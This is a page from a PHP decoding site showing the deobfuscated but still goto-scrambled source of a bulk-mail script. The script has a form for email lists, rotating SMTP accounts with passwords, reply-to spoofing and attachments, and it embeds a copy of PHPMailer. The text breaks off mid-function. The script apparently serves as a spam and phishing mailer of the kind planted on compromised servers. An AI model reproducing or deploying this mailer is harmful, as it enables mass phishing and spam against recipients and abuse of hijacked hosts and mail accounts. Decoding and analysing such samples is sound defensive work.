Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto Dkjib; sZqEy: ini_set("\x6d\x65\155\x6f\x72\x79\x5f\154\151\155\151\x74", -1); goto ..
Decoded Output download
<? goto Dkjib; sZqEy: ini_set("memory_limit", -1); goto MFHkM; MHk87: $messageLetter = urldecode($messageLetter); goto x5J6g; Y49v9: echo date("m/d/Y h:i:s a", time()); goto qtZyt; FqliA: mCEaK: goto t5otc; XCmtY: $GLOBALS["smtpAcct"] = owlTrim($_POST["smtpAcct"]); goto giQDz; PBOOI: $altMessageLetter = owlTrim($_POST["altMessageLetter"]); goto YyLK1; VYJiJ: echo $GLOBALS["senderEmail"]; goto UmsCm; QGmBo: $messageLetter = owlTrim($_POST["messageLetter"]); goto cPz1k; LnxQB: echo $owl["website"]; goto HPRnm; CK_Rx: echo $owl["version"]; goto UqdnU; ugHAn: if (!(isset($_POST["action"]) && $_POST["action"] == "send")) { goto lrjfz; } goto gjUdH; PxHSI: echo "">\xa <label for="senderEmail">Sender Name</label>
<input type="text" class="form-control input-sm" id="senderName" name="senderName">\xa<input type="submit" value="Send" hidden />\xa </div>
</div>
<div class="row"> <span class="form-group col-lg-6"><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment" multiple/></span>
<div class="form-group col-lg-6">
<label for="replyTo">Reply-to</label>\xa <input type="text" class="form-control input-sm " id="replyTo" name="replyTo" />
</div>\xa </div>
<div class="row">
<div class="form-group col-lg-12 ">
<label for="subject">Subject</label>
<input type="text" class="form-control input-sm " id="subject" name="subject" />\xa </div>\xa </div>
<div class="row">
<div class="form-group col-lg-6">
<label for="messageLetter">Message Letter</label>
<textarea placeholder="Message Letter" name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea"></textarea>
</div>\xa <div class="form-group col-lg-6">
<label for="altMessageLetter">Alternative Message Letter</label>
<textarea placeholder="Alternative Message Letter. This body can be read by mail clients that do not have HTML email. capability such as mutt & Eudora. Clients that can read HTML will view the normal Body." name="altMessageLetter" id="altMessageLetter" class="form-control" rows="10" id="textArea"></textarea>\xa </div>\xa </div>
<div class="row">
<div class="form-group col-lg-6 ">\xa <label for="emailList">Email List</label>\xa <textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea"></textarea>\xa </div>
<div class="form-group col-lg-6 ">
<label for="smtpAccounts">SMTP Accounts</label>
<textarea placeholder="Random account will be used when sending a message. 1) Format: HOST:PORT:SSL 2) Format: HOST:PORT:SSL:Username:Password Example: smtp.gmail.com:587:tls:[email protected]:123 Example: smtp.gmail.com:587:nossl:[email protected]:123 SSL Options: tls , ssl, nossl" name="smtpAccounts" id="smtpAccounts" class="form-control" rows="10" id="textArea"></textarea>\xa </div>\xa </div>
\xa <div class="row">
<div class="form-group col-lg-6 ">
<label for="messageType">Message Type</label>\xa <input type="radio" name="messageType" id="messageType" value="html" checked> HTML\xa <input type="radio" name="messageType" id="messageType" value="plain"> Plain\xa </div>\xa <div class="form-group col-lg-6 ">
<label for="sendingMethod">Sending Method</label>
<input type="radio" name="sendingMethod" id="sendingMethod" value="builtin" checked> Builtin\xa <input type="radio" name="sendingMethod" id="sendingMethod" value="smtp"> SMTP\xa </div>
<div class="form-group col-lg-6">
<label for="encoding">Encoding Type</label>\xa <select class="form-control input-sm" id="encoding" name="encoding">
<option value="UTF-8" selected>UTF-8 International Unicode</option>
<option value="ISO-8859-1">ISO-8859-1 Latin 1 (West European)</option>\xa <option value="ISO-8859-2">ISO-8859-2 Latin 2 (East European)</option>\xa <option value="ISO-8859-3">ISO-8859-3 Latin 3 (South European)</option>\xa <option value="ISO-8859-4">ISO-8859-4 Latin 4 (North European)</option>\xa <option value="ISO-8859-5">ISO-8859-5 Cyrillic</option>\xa <option value="ISO-8859-6">ISO-8859-6 Arabic</option>\xa <option value="ISO-8859-7">ISO-8859-7 Greek</option>\xa <option value="ISO-8859-8">ISO-8859-8 Hebrew</option>
<option value="ISO-8859-9">ISO-8859-9 Latin 5 (Turkish)</option>\xa <option value="ISO-8859-15">ISO-8859-15 Latin 9</option>
<option value="BIG5">BIG5 Traditional Chinese</option>
<option value="GB-2312">GB-2312 Simplified Chinese</option>
<option value="ISO-2022-JP">ISO-2022-JP Japanese</option>\xa <option value="EUC-JP">EUC-JP Japanese</option>
<option value="Shift-JIS">Shift-JIS Japanese</option>\xa <option value="KSC-5601">KSC-5601 Korean</option>
<option value="EIC-KR">EIC-KR Korean</option>
</select>
</div>
<div class="form-group col-lg-3">\xa <label for="priority">Email Priority</label>\xa <select class="form-control input-sm" id="priority" name="priority">
<option value="" selected>Default</option>
<option value="5">Low</option>
<option value="3">Normal</option>
<option value="1">High</option>\xa </select>
</div>
</div>\xa
<button type="button" id="btnStart" class="btn btn-default btn-sm" onclick="startSending();">Start</button>\xa<button type="button"id="btnStop" class="btn btn-default btn-sm" onclick="stopSending();">Stop</button>\xa\xa</div>\xa "; goto UkE6_; y1kn1: class PHPMailer { const CHARSET_ISO88591 = "iso-8859-1"; const CHARSET_UTF8 = "utf-8"; const CONTENT_TYPE_PLAINTEXT = "text/plain"; const CONTENT_TYPE_TEXT_CALENDAR = "text/calendar"; const CONTENT_TYPE_TEXT_HTML = "text/html"; const CONTENT_TYPE_MULTIPART_ALTERNATIVE = "multipart/alternative"; const CONTENT_TYPE_MULTIPART_MIXED = "multipart/mixed"; const CONTENT_TYPE_MULTIPART_RELATED = "multipart/related"; const ENCODING_7BIT = "7bit"; const ENCODING_8BIT = "8bit"; const ENCODING_BASE64 = "base64"; const ENCODING_BINARY = "binary"; const ENCODING_QUOTED_PRINTABLE = "quoted-printable"; public $Priority; public $CharSet = self::CHARSET_ISO88591; public $ContentType = self::CONTENT_TYPE_PLAINTEXT; public $Encoding = self::ENCODING_8BIT; public $ErrorInfo = ''; public $From = "root@localhost"; public $FromName = "Root User"; public $Sender = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "mail"; public $Sendmail = "/usr/sbin/sendmail"; public $UseSendmailOptions = true; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "localhost"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; protected $oauth; public $Timeout = 300; public $dsn = ''; public $SMTPDebug = 0; public $Debugoutput = "echo"; public $SMTPKeepAlive = false; public $SingleTo = false; protected $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_copyHeaderFields = true; public $DKIM_extraHeaders = array(); public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = ''; public static $validator = "php"; protected $smtp; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const VERSION = "6.0.7"; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; protected static $LE = "
"; const MAX_LINE_LENGTH = 998; const STD_LINE_LENGTH = 76; public function __construct($exceptions = null) { goto Icdkc; nSe8I: zE8q4: goto QqMW_; Icdkc: if (!(null !== $exceptions)) { goto zE8q4; } goto I74XE; QqMW_: $this->Debugoutput = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html"; goto FyXGJ; I74XE: $this->exceptions = (bool) $exceptions; goto nSe8I; FyXGJ: } public function __destruct() { $this->smtpClose(); } private function mailPassthru($to, $subject, $body, $header, $params) { goto QyWrv; nbZ_3: goto FWOnW; goto nixLN; AWCTH: goto SKFyc; goto TQkxo; vrLyZ: $subject = $this->secureHeader($subject); goto rNtlP; D4qbU: $result = @mail($to, $subject, $body, $header, $params); goto AWCTH; rNtlP: FWOnW: goto adP5A; O3exL: SKFyc: goto Z580o; nixLN: LajQP: goto vrLyZ; TQkxo: TPxPt: goto lziyi; vB2l_: $subject = $this->encodeHeader($this->secureHeader($subject)); goto nbZ_3; lziyi: $result = @mail($to, $subject, $body, $header); goto O3exL; QyWrv: if (ini_get("mbstring.func_overload") & 1) { goto LajQP; } goto vB2l_; adP5A: if (!$this->UseSendmailOptions or null === $params) { goto TPxPt; } goto D4qbU; Z580o: return $result; goto x37eh; x37eh: } protected function edebug($str) { goto lm40T; jTazT: x0eze: goto yKm2C; DDBlW: hFTa5: goto QFS2l; aTAs4: zNNIW: goto TEKfT; TCFG6: return; goto DDBlW; SiIcd: if (!(!in_array($this->Debugoutput, ["error_log", "html", "echo"]) and is_callable($this->Debugoutput))) { goto hFTa5; } goto tZZ_r; lm40T: if (!($this->SMTPDebug <= 0)) { goto x0eze; } goto BVPMq; BVPMq: return; goto jTazT; xkbvW: return; goto vOMio; vOMio: VjW_a: goto SiIcd; TEKfT: DRryD: goto g5DIf; tZZ_r: call_user_func($this->Debugoutput, $str, $this->SMTPDebug); goto TCFG6; yKm2C: if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) { goto VjW_a; } goto rWX46; rWX46: $this->Debugoutput->debug($str); goto xkbvW; QFS2l: switch ($this->Debugoutput) { case "error_log": error_log($str); goto DRryD; case "html": echo htmlentities(preg_replace("/[\r\n]+/", '', $str), ENT_QUOTES, "UTF-8"), "<br>
"; goto DRryD; case "echo": default: $str = preg_replace("/\r\n|\r/ms", "\xa", $str); echo gmdate("Y-m-d H:i:s"), " ", trim(str_replace("
", "
", trim($str))), "\xa"; } goto aTAs4; g5DIf: } public function isHTML($isHtml = true) { goto ZP19R; jkkWt: $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; goto IFWY5; ZP19R: if ($isHtml) { goto AerCB; } goto qhTY9; uDzTC: goto GdZBd; goto q_8ZO; q_8ZO: AerCB: goto jkkWt; qhTY9: $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; goto uDzTC; IFWY5: GdZBd: goto NitAs; NitAs: } public function isSMTP() { $this->Mailer = "smtp"; } public function isMail() { $this->Mailer = "mail"; } public function isSendmail() { goto wsmFp; azeXf: lAOYt: goto Gab0t; eACnE: if (false === stripos($ini_sendmail_path, "sendmail")) { goto lAOYt; } goto SQz8H; SQz8H: $this->Sendmail = $ini_sendmail_path; goto lR_OP; wsmFp: $ini_sendmail_path = ini_get("sendmail_path"); goto eACnE; Gab0t: $this->Sendmail = "/usr/sbin/sendmail"; goto nsYW6; nsYW6: XE5B3: goto MeIZj; lR_OP: goto XE5B3; goto azeXf; MeIZj: $this->Mailer = "sendmail"; goto FjHPP; FjHPP: } public function isQmail() { goto tYHsK; j46HK: FOpwg: goto M0KL3; Std5n: $this->Mailer = "qmail"; goto zuBDP; M0KL3: $this->Sendmail = "/var/qmail/bin/qmail-inject"; goto kwEUl; tYHsK: $ini_sendmail_path = ini_get("sendmail_path"); goto EcKmz; EcKmz: if (false === stripos($ini_sendmail_path, "qmail")) { goto FOpwg; } goto xExz2; xExz2: $this->Sendmail = $ini_sendmail_path; goto bH5Id; bH5Id: goto e1NV9; goto j46HK; kwEUl: e1NV9: goto Std5n; zuBDP: } public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress("to", $address, $name); } public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress("cc", $address, $name); } public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress("bcc", $address, $name); } public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress("Reply-To", $address, $name); } protected function addOrEnqueueAnAddress($kind, $address, $name) { goto LRPjq; JkWeO: if (array_key_exists($address, $this->ReplyToQueue)) { goto dVxMK; } goto YKNKE; wvQtC: return true; goto u7wnR; uFfuP: return false; goto hnv6Z; ZHkSI: SHWgm: goto uFfuP; TtsQW: $name = trim(preg_replace("/[\r\n]+/", '', $name)); goto mqd20; HIGwv: $this->RecipientsQueue[$address] = $params; goto uFFlo; mqd20: $pos = strrpos($address, "@"); goto u244w; ymQqO: $this->edebug($error_message); goto bw_nw; f4LHV: if (!($this->has8bitChars(substr($address, ++$pos)) and static::idnSupported())) { goto YcQes; } goto Tawg9; lBoT2: goto SHWgm; goto zzZNP; zzZNP: YHYQz: goto KQQlu; Tawg9: if ("Reply-To" != $kind) { goto YHYQz; } goto JkWeO; Ce9jO: $this->setError($error_message); goto ymQqO; HLaw2: return false; goto j6l8U; bw_nw: if (!$this->exceptions) { goto PklxA; } goto osuGZ; VgVUv: $params = [$kind, $address, $name]; goto f4LHV; YKNKE: $this->ReplyToQueue[$address] = $params; goto wvQtC; dP6Fk: PklxA: goto HLaw2; hnv6Z: YcQes: goto mNVNm; LRPjq: $address = trim($address); goto TtsQW; mNVNm: return call_user_func_array([$this, "addAnAddress"], $params); goto u2Zid; yyEzp: WVAC4: goto ZHkSI; KQQlu: if (array_key_exists($address, $this->RecipientsQueue)) { goto WVAC4; } goto HIGwv; u244w: if (!(false === $pos)) { goto IZOn2; } goto vSWkA; vSWkA: $error_message = sprintf("%s (%s): %s", $this->lang("invalid_address"), $kind, $address); goto Ce9jO; j6l8U: IZOn2: goto VgVUv; osuGZ: throw new Exception($error_message); goto dP6Fk; u7wnR: dVxMK: goto lBoT2; uFFlo: return true; goto yyEzp; u2Zid: } protected function addAnAddress($kind, $address, $name = '') { goto bd5YX; zP4o1: $this->edebug($error_message); goto tKYGG; RYOou: $this->setError($error_message); goto zP4o1; bd5YX: if (in_array($kind, ["to", "cc", "bcc", "Reply-To"])) { goto IVAff; } goto rXQc7; hsvzW: if (!$this->exceptions) { goto ORf9t; } goto JARp1; pUAZZ: MSq2M: goto LKw0t; JARp1: throw new Exception($error_message); goto cVTKR; b07JU: N5rvO: goto qliXD; Nw9vt: $this->{$kind}[] = [$address, $name]; goto KnOoO; CcCon: if (static::validateAddress($address)) { goto yUCVW; } goto iRx08; UHJNR: return true; goto X1z4M; WoH9N: return true; goto ohzZx; OmqZo: IVAff: goto CcCon; ro14U: return false; goto zj869; LKw0t: return false; goto OmqZo; WOnTn: $this->edebug($error_message); goto hsvzW; X1z4M: YP8yc: goto kxZRt; ibeHu: if (array_key_exists(strtolower($address), $this->all_recipients)) { goto Gtz08; } goto Nw9vt; tKYGG: if (!$this->exceptions) { goto MSq2M; } goto Ugqkv; iRx08: $error_message = sprintf("%s (%s): %s", $this->lang("invalid_address"), $kind, $address); goto lEZcY; KnOoO: $this->all_recipients[strtolower($address)] = true; goto WoH9N; XXTaZ: if (array_key_exists(strtolower($address), $this->ReplyTo)) { goto YP8yc; } goto jbVj6; zj869: yUCVW: goto KCPvo; qliXD: return false; goto OZI2O; Ugqkv: throw new Exception($error_message); goto pUAZZ; QpnZe: t7rh7: goto ibeHu; KCPvo: if ("Reply-To" != $kind) { goto t7rh7; } goto XXTaZ; cVTKR: ORf9t: goto ro14U; jbVj6: $this->ReplyTo[strtolower($address)] = [$address, $name]; goto UHJNR; rXQc7: $error_message = sprintf("%s: %s", $this->lang("Invalid recipient kind"), $kind); goto RYOou; ohzZx: Gtz08: goto b07JU; kxZRt: goto N5rvO; goto QpnZe; lEZcY: $this->setError($error_message); goto WOnTn; OZI2O: } public static function parseAddresses($addrstr, $useimap = true) { goto iLJgd; Jjkch: AI3p6: goto YHgh_; ydc1R: if ($useimap and function_exists("imap_rfc822_parse_adrlist")) { goto CbU5b; } goto m0mx3; YHgh_: goto Kgkb3; goto ft8A0; bs3NK: foreach ($list as $address) { goto Lol8P; Lol8P: $address = trim($address); goto qY6DI; qActA: list($name, $email) = explode("<", $address); goto zqOw1; jN9Mm: Zs_he: goto tlDcu; YtPyQ: uVwQn: goto R1ZIh; qY6DI: if (strpos($address, "<") === false) { goto CareR; } goto qActA; hjhee: if (!static::validateAddress($address)) { goto tQmTq; } goto EGfbe; R1ZIh: goto Zs_he; goto HVH9j; tlDcu: cmg8E: goto aSn6M; vStuq: if (!static::validateAddress($email)) { goto uVwQn; } goto HYuYa; K2FCR: tQmTq: goto jN9Mm; EGfbe: $addresses[] = ["name" => '', "address" => $address]; goto K2FCR; HYuYa: $addresses[] = ["name" => trim(str_replace([""", "'"], '', $name)), "address" => $email]; goto YtPyQ; HVH9j: CareR: goto hjhee; zqOw1: $email = trim(str_replace(">", '', $email)); goto vStuq; aSn6M: } goto Jjkch; qALSL: foreach ($list as $address) { goto Zp_Lh; Djg9_: qq77W: goto ZnTfF; Zp_Lh: if (!(".SYNTAX-ERROR." != $address->host)) { goto qq77W; } goto EYQ8x; ZnTfF: GUOuq: goto phh1w; MDumz: $addresses[] = ["name" => property_exists($address, "personal") ? $address->personal : '', "address" => $address->mailbox . "@" . $address->host]; goto j_6CL; j_6CL: kY8D_: goto Djg9_; EYQ8x: if (!static::validateAddress($address->mailbox . "@" . $address->host)) { goto kY8D_; } goto MDumz; phh1w: } goto mFhb_; Bd1k0: return $addresses; goto vXNjM; m0mx3: $list = explode(",", $addrstr); goto bs3NK; mRi9_: $list = imap_rfc822_parse_adrlist($addrstr, ''); goto qALSL; mFhb_: MRreK: goto Mrzkd; Mrzkd: Kgkb3: goto Bd1k0; ft8A0: CbU5b: goto mRi9_; iLJgd: $addresses = []; goto ydc1R; vXNjM: } public function setFrom($address, $name = '', $auto = true) { goto YgCtz; e4aBu: $this->edebug($error_message); goto M3C9e; irhi8: throw new Exception($error_message); goto N6y9D; i6Eo2: $this->From = $address; goto QOVcC; CBHSI: $error_message = sprintf("%s (From): %s", $this->lang("invalid_address"), $address); goto VDSm_; M3C9e: if (!$this->exceptions) { goto wwuIm; } goto irhi8; VDSm_: $this->setError($error_message); goto e4aBu; G2w6J: $pos = strrpos($address, "@"); goto RvMKa; KKKmv: h9UUq: goto i6Eo2; tKkoL: if (!empty($this->Sender)) { goto N5xS4; } goto TjUcY; vomfK: $name = trim(preg_replace("/[\r\n]+/", '', $name)); goto G2w6J; je5Z2: return false; goto KKKmv; ByOcg: mBUGN: goto A48e0; TjUcY: $this->Sender = $address; goto Ezm5I; N6y9D: wwuIm: goto je5Z2; RvMKa: if (!(false === $pos or (!$this->has8bitChars(substr($address, ++$pos)) or !static::idnSupported()) and !static::validateAddress($address))) { goto h9UUq; } goto CBHSI; A48e0: return true; goto nnfXQ; QOVcC: $this->FromName = $name; goto eILJ8; Ezm5I: N5xS4: goto ByOcg; YgCtz: $address = trim($address); goto vomfK; eILJ8: if (!$auto) { goto mBUGN; } goto tKkoL; nnfXQ: } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($address, $patternselect = null) { goto KNxlJ; Wrkym: switch ($patternselect) { case "pcre": case "pcre8": return (bool) preg_match("/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)" . "((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)" . "(?>[\x01-\x08\x0B\x0C\x0E-'*-\[\]-\x7F]|\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)" . "([!#-'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\x7F]))*" . "(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)" . "(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}" . "|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:" . "|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD", $address); case "html5": return (bool) preg_match("/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}" . "[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD", $address); case "php": default: return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); } goto iLe9I; BHX5q: return call_user_func($patternselect, $address); goto jkUSl; SswrH: $patternselect = static::$validator; goto y6T2e; KNxlJ: if (!(null === $patternselect)) { goto kWbd1; } goto SswrH; sMnES: return false; goto d7dkG; iLe9I: ToB1Y: goto n40Rv; y6T2e: kWbd1: goto IP4nv; Bfckd: if (!(strpos($address, "
") !== false or strpos($address, "\xd") !== false)) { goto qXkdM; } goto sMnES; jkUSl: Usu9n: goto Bfckd; IP4nv: if (!is_callable($patternselect)) { goto Usu9n; } goto BHX5q; n40Rv: VB2_g: goto Tlhki; d7dkG: qXkdM: goto Wrkym; Tlhki: } public static function idnSupported() { return function_exists("idn_to_ascii") and function_exists("mb_convert_encoding"); } public function punyencodeAddress($address) { goto KYIXQ; HnN9M: if (!(static::idnSupported() and !empty($this->CharSet) and false !== $pos)) { goto b3dE4; } goto yiL11; qQrO8: $domain = mb_convert_encoding($domain, "UTF-8", $this->CharSet); goto Rvxez; WUlEK: if (!(false !== $punycode)) { goto fL7JN; } goto X46Mf; ynMCC: MNLpq: goto AkOxm; bSBry: $punycode = idn_to_ascii($domain, $errorcode, INTL_IDNA_VARIANT_UTS46); goto WUlEK; AkOxm: b3dE4: goto a3Jct; yiL11: $domain = substr($address, ++$pos); goto p99dx; p99dx: if (!($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet))) { goto MNLpq; } goto qQrO8; L_kiz: fL7JN: goto ynMCC; KYIXQ: $pos = strrpos($address, "@"); goto HnN9M; a3Jct: return $address; goto Y3yEy; X46Mf: return substr($address, 0, $pos) . $punycode; goto L_kiz; Rvxez: $errorcode = 0; goto bSBry; Y3yEy: } public function send() { try { goto LSzKy; vT9wC: return false; goto JwtrX; LSzKy: if ($this->preSend()) { goto gPdjV; } goto vT9wC; JwtrX: gPdjV: goto R2EhI; R2EhI: return $this->postSend(); goto hM0w3; hM0w3: } catch (Exception $exc) { goto rEC5y; d3D6L: $this->setError($exc->getMessage()); goto AP3VF; fIlx2: return false; goto Ephw1; CfCVK: throw $exc; goto IJJEg; AP3VF: if (!$this->exceptions) { goto fZCc8; } goto CfCVK; rEC5y: $this->mailHeader = ''; goto d3D6L; IJJEg: fZCc8: goto fIlx2; Ephw1: } } public function preSend() { goto ucSJF; ucSJF: if ("smtp" == $this->Mailer or "mail" == $this->Mailer and stripos(PHP_OS, "WIN") === 0) { goto fPhg4; } goto JDL5O; bYlqC: fPhg4: goto VforQ; x0DdQ: goto lTCW_; goto bYlqC; iPEoJ: if (!(ini_get("mail.add_x_header") == 1 and "mail" == $this->Mailer and stripos(PHP_OS, "WIN") === 0 and (version_compare(PHP_VERSION, "7.0.0", ">=") and version_compare(PHP_VERSION, "7.0.17", "<") or version_compare(PHP_VERSION, "7.1.0", ">=") and version_compare(PHP_VERSION, "7.1.3", "<")))) { goto qPWC7; } goto CdpHq; JDL5O: static::setLE(PHP_EOL); goto x0DdQ; VforQ: static::setLE("
\xa"); goto rnpCR; O3n0c: try { goto wAg2d; bwdjE: $this->MIMEHeader = $this->createHeader(); goto uA9ld; HwfNn: ycEWH: goto A8g2g; IIvpv: foreach (["From", "Sender", "ConfirmReadingTo"] as $address_kind) { goto DrlaQ; Cd0Eb: $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); goto lBCgH; cuq6X: return false; goto PM62g; eqlUw: Bvcxn: goto Cd0Eb; aYVmj: if (!$this->exceptions) { goto Nmmzf; } goto h74Q5; PM62g: xJoB3: goto zIwFm; kGxuG: goto kkrIm; goto eqlUw; tN2Jn: Nmmzf: goto cuq6X; fHJtM: $this->edebug($error_message); goto aYVmj; h74Q5: throw new Exception($error_message); goto tN2Jn; eNxmm: if (!empty($this->{$address_kind})) { goto Bvcxn; } goto kGxuG; DrlaQ: $this->{$address_kind} = trim($this->{$address_kind}); goto eNxmm; VSUxy: $this->setError($error_message); goto fHJtM; katMH: $error_message = sprintf("%s (%s): %s", $this->lang("invalid_address"), $address_kind, $this->{$address_kind}); goto VSUxy; zIwFm: kkrIm: goto GFLrU; lBCgH: if (static::validateAddress($this->{$address_kind})) { goto xJoB3; } goto katMH; GFLrU: } goto HwfNn; V120J: $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); goto nfYVr; yY7aG: M03EY: goto cd4E2; hyagf: if (!(!$this->AllowEmpty and empty($this->Body))) { goto Msr8V; } goto vKdGc; wAg2d: $this->error_count = 0; goto G9uZx; lbbFw: TMfQy: goto a_pmc; fT8ll: return true; goto hEdaG; uybnt: if (count($this->to) > 0) { goto tCo8K; } goto b0KkE; b0KkE: $this->mailHeader .= $this->headerLine("To", "undisclosed-recipients:;"); goto FW1oi; jNKJg: Msr8V: goto vrQ6S; UkmD8: qS0lu: goto IIvpv; JxEgd: $this->MIMEHeader = ''; goto G4YUH; BEBFw: if (!(!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and static::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private)))) { goto s5GsZ; } goto V120J; A8g2g: if (!$this->alternativeExists()) { goto TMfQy; } goto GYcJ1; retWE: qsRBy: goto BEBFw; a_pmc: $this->setMessageType(); goto hyagf; FW1oi: goto M03EY; goto husAJ; G4YUH: $this->MIMEBody = $this->createBody(); goto txmHB; Rz_ci: if (!("mail" == $this->Mailer)) { goto qsRBy; } goto uybnt; vKdGc: throw new Exception($this->lang("empty_message"), self::STOP_CRITICAL); goto jNKJg; txmHB: $tempheaders = $this->MIMEHeader; goto bwdjE; zuTdF: if (!(count($this->to) + count($this->cc) + count($this->bcc) < 1)) { goto qS0lu; } goto x3HIn; GYcJ1: $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; goto lbbFw; vrQ6S: $this->Subject = trim($this->Subject); goto JxEgd; fjtrA: DzN37: goto zuTdF; uA9ld: $this->MIMEHeader .= $tempheaders; goto Rz_ci; husAJ: tCo8K: goto mntWj; mntWj: $this->mailHeader .= $this->addrAppend("To", $this->to); goto yY7aG; Ob4YQ: s5GsZ: goto fT8ll; G9uZx: $this->mailHeader = ''; goto RaCIf; cd4E2: $this->mailHeader .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject))); goto retWE; x3HIn: throw new Exception($this->lang("provide_address"), self::STOP_CRITICAL); goto UkmD8; nfYVr: $this->MIMEHeader = rtrim($this->MIMEHeader, "
") . static::$LE . static::normalizeBreaks($header_dkim) . static::$LE; goto Ob4YQ; RaCIf: foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { goto wfZPK; qr_dx: call_user_func_array([$this, "addAnAddress"], $params); goto If5tg; wfZPK: $params[1] = $this->punyencodeAddress($params[1]); goto qr_dx; If5tg: L87sZ: goto TuGCd; TuGCd: } goto fjtrA; hEdaG: } catch (Exception $exc) { goto hOK_i; ySh1M: throw $exc; goto PRJKR; LbP9h: return false; goto vhzTL; PRJKR: MO2J1: goto LbP9h; hOK_i: $this->setError($exc->getMessage()); goto FKRHu; FKRHu: if (!$this->exceptions) { goto MO2J1; } goto ySh1M; vhzTL: } goto kq33f; rnpCR: lTCW_: goto iPEoJ; CdpHq: trigger_error("Your version of PHP is affected by a bug that may result in corrupted messages." . " To fix it, switch to sending using SMTP, disable the mail.add_x_header option in" . " your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.", E_USER_WARNING); goto LjHeZ; LjHeZ: qPWC7: goto O3n0c; kq33f: } public function postSend() { try { goto uUPwq; kS3Bc: wqueM: goto iTXlV; iTXlV: ig4pj: goto QjWK2; uUPwq: switch ($this->Mailer) { case "sendmail": case "qmail": return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case "smtp": return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case "mail": return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: goto d7sjf; d7sjf: $sendMethod = $this->Mailer . "Send"; goto wg3Ei; qOMls: dfrzn: goto K7fJ6; m5T2k: return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); goto qOMls; wg3Ei: if (!method_exists($this, $sendMethod)) { goto dfrzn; } goto m5T2k; K7fJ6: return $this->mailSend($this->MIMEHeader, $this->MIMEBody); goto Aq19c; Aq19c: } goto kS3Bc; QjWK2: } catch (Exception $exc) { goto eZnGf; MkJdw: if (!$this->exceptions) { goto qz1Ce; } goto fF7e8; mRpSK: qz1Ce: goto mdbpr; LIb7g: $this->edebug($exc->getMessage()); goto MkJdw; fF7e8: throw $exc; goto mRpSK; eZnGf: $this->setError($exc->getMessage()); goto LIb7g; mdbpr: } return false; } protected function sendmailSend($header, $body) { goto ahW3Y; ahW3Y: if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { goto FnB1E; } goto oYsIh; Bj0ZI: 